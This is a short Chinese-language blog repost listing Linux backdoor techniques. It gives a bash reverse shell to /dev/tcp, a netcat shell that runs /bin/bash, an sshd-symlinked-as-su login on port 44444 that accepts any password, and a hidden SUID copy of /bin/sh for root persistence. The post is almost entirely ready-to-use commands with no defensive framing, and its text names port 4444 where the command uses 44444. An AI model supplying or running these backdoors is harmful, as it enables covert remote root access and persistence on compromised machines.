Linux 的几种后门

admin 2023年12月15日00:52:22评论7 views字数 327阅读1分5秒阅读模式

Linux 的 bash nc ssh SUID 后门

bash -i >& /dev/tcp/ip/port 0>&1

nc ip port -e /bin/bash

nc 可以从源码编译.

./configure --prefix=/tmp/nc && make && make install

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=44444;

连接 4444 用 root/bin/ftp/mail 当用户名 密码随意.

执行用户会获得该文件所有者的权限.

cp /bin/sh /tmp/.shell && chmod 4755 /tmp/.shell

执行 /tmp/.shell -p 即可获得 root 权限.

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日00:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux 的几种后门http://cn-sec.com/archives/2299202.html

发表评论

匿名网友 填写信息